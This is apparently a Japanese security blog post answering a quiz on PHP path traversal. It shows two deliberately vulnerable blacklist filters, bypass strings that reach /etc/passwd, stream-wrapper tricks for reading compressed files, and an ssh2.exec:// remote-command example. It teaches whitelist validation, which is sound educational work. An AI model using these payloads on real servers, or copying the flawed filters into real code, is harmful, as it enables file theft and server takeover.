昨日のエントリのクイズです。今回はその解答です。もう一度問題を書いておきます。
ブラックリスト型のセキュリティ対策は、どうしても仕方がない限り使ってはなりません。以下のサニタイズコードは “../” 、”..” を無効な文字列として取り除きます。このサニタイズコードを回避しカレントディレクトリよりも上の階層からのパスへアクセスするパストラバーサルを行う文字列を考えてみて下さい。(/etc/passwdなどにアクセスできる文字列を考えて下さい)
レベル1
<?php if ($_GET['filename']{0} === '/') { // 絶対パスは無効 die('無効なファイル名が送信されました。'); } // トラバーサルに利用される"../", ".."を削除 // カレントディレクトリ以下のファイルだけ読み込む? $safe_path = str_replace(array('../', '..'), '', $_GET['filename']); readfile($safe_path);
簡単すぎた方はレベル2をどうぞ。以下のコードはブラックリスト型チェックでパストラバーサルに利用される “.” が1つしか無いことでセキュリティを維持しようとするコードです。
レベル2
<?php if ($_GET['filename']{0} === '/') { // 絶対パスは無効 die('無効なファイル名が送信されました。'); } if (strpos($_GET['filename'], '.') !== strrpos($_GET['filename'], '.')) { // トラバーサルに利用される"."は1つしか許さない die('無効なファイル名が送信されました。'); } // カレントディレクトリ以下のファイルだけ読み込む? readfile($_GET['filename']);
まだ解いていない方は少しだけ時間を使って考えてみて下さい。
レベル1
まずレベル1の解答例です。
レベル1のコードは
- “/” から始まるフルパスによるアクセスを禁止
- パストラバーサルに利用される “../” および “..” を “”(空白文字)に変換
しています。「不正な文字列を禁止」「不正な文字をサニタイズ」する典型的なブラックリスト型のセキュリティ対策です。
サンプルコードのパストラバーサル対策は “../” という文字列で行われるのでその文字列を禁止すれば安全性を維持できる、と間違えてしまったケースです。”../” だけだと不安なので “..” も削除しています。
しかし、$_GET[‘filename’]はユーザーから送信されてくる文字列です。ユーザー(攻撃者)は自由に文字列を送信できます。$_GET[‘filename’]に先頭に
"..././"
が付いていたらどうなるでしょうか?
- まず “../” が取り除かれ”../” が残る
- 次に “..” が “../” から取り除かれ “/” が残る
”/”をファイル名の先頭に置くことが可能になりました。後は同じ要領でパス途中に”/”を置けば”/etc/passwd”にアクセス可能になります。ファイル名に “/etc/password” を設定する文字列は
'..././etc..././password'
になります。
レベル2
次にレベル2の解答です。この解答はレベル1の解答にもなります。レベル2のコードは
- “/” による絶対パスを禁止
- “.” が2つ以上現れる事を禁止
しています。レベル1の解答に利用した文字列は”.”が複数現れるので使えません。1つしか “.” が使えないのでファイルに自由にアクセスすることは不可能に思えるかも知れません。
しかし、PHPはURIによるファイル指定(fopen wrapper)をサポートしています。http:// や https:// をサポートしている事は良く知られていると思います。PHPがサポートするラッパーは多数あります。
http://www.php.net/manual/en/wrappers.php
- file:// — Accessing local filesystem
- http:// — Accessing HTTP(s) URLs
- ftp:// — Accessing FTP(s) URLs
- php:// — Accessing various I/O streams
- zlib:// — Compression Streams
- data:// — Data (RFC 2397)
- glob:// — Find pathnames matching pattern
- phar:// — PHP Archive
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — Audio streams
- expect:// — Process Interaction Streams
file:// ラッパーはローカルファイルシステムにアクセスできる事になっています。これで自由にシステム上のファイルにアクセスできるハズ!なのですが、そうは行きませんでした。
PHP5.5で利用してみるとallow_url_fopen=Onにも関わらず以下のようになりました。
[yohgaki@dev tmp]$ php -r "echo readfile('file://etc/password');" Warning: readfile(): remote host file access not supported, file://etc/password in Command line code on line 1 Warning: readfile(file://etc/password): failed to open stream: no suitable wrapper could be found in Command line code on line 1 [yohgaki@dev tmp]$ php -v PHP 5.5.5 (cli) (built: Oct 17 2013 06:05:14) Copyright (c) 1997-2013 The PHP Group
マニュアルには記載されていないのですが、少なくともPHP 5.1.6から file:// ラッパーが使えなくなっていたようです。
[yohgaki@dev tmp]$ /usr/local/php5.1/bin/php -r "echo readfile('file://etc/password');" Warning: readfile(): remote host file access not supported, file://etc/password in Command line code on line 1 Warning: readfile(file://etc/password): failed to open stream: no suitable wrapper could be found in Command line code on line 1
file:// ラッパーが使えることを想定しいたので、レベル2は正解がない誤問!?
しかし、ラッパーには圧縮ラッパーもあります。これを使えばシステム上の圧縮ファイルには自由にアクセスできます。試しにbz2とgz圧縮ファイルにアクセスしてみましょう。以下のコードはテストプログラムの圧縮ファイルを読み出すコードです。
bz2ファイル
[yohgaki@dev tmp]$ php -r "echo readfile('compress.bzip2://./t.c.bz2');" #include <stdio.h> int main() { printf("\d\y\z"); return 0; }
gzファイル
[yohgaki@dev tmp]$ php -r "echo readfile('compress.zlib://./t.php.gz');" <?php set_error_handler(function() { echo "error\n"; throw new Exception; }); set_exception_handler(function($ex) { echo "exception\n"; }); include 'asdf';
これで、圧縮ファイルのみという制限はありますが、システム上のファイルにアクセスできるようになりました。ログファイルなど重要な情報が記載されたファイルが圧縮されている事は多いです。攻撃者にとってみれば圧縮ファイルだけが取得できる制限があっても十分魅力的なセキュリティホールです。
更なる攻撃、サーバーの乗っ取り
システム上のファイルのみでなく、http://、https://、ssh2://、ftp:// などもサポートしているので、サーバーを踏み台にしてSSRF(Server Side Request Forgeries – 最近ではXXE攻撃が有名)を使いファイアーウォールを越えた攻撃を行う事も可能になります。
特にssh2:// ラッパーは攻撃者にとって魅力的です。以下の様な形でリモートコマンドも実行できるからです。
ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
パスフレーズなしの公開鍵認証の場合、これで任意のコマンドリモートサーバー(ローカルにも)を実行できます。コマンドさえ実行できれば、ある程度スキルのあるクラッカーであればサーバーを完全に乗っ取る事は朝飯前です。
注:ssh2ラッパーは、ssh2モジュールが無い場合、allow_url_fopen=Offの場合は利用できません。
まとめ
問題に出した脆弱なコードが単純にファイルを盗まれるだけでなく、リモートコマンド実行やリモートから更にリモートのコマンド実行(SSRF)に利用できる事が分ったと思います。最悪の場合、完全にサーバーを乗っ取られます。
安易なブラックリスト型のセキュリティ(悪いものを定義する)に頼るのではなく、ファイル名なら英数字のみ&ドットは1つだけのファイル名であることを厳格にホワイトリスト型(良いものを定義する)でバリデーションしていれば、詳しい知識が無くてもサーバーを乗っ取られる脆弱性を作らずに済みます。
ホワイトリスト型のバリデーションを行う場合でも以下の項目に注意しなければなりません。
- 特殊な意味を持つ文字を許可する場合、細心の注意を払う
- そもそも特殊な意味を持つ文字は許可しない方が良い
- 絶対の自信が無いのであれば、特殊な意味を持つ文字を許可してはならない
今日は以上です。楽しく、セキュアにコーディングしましょう!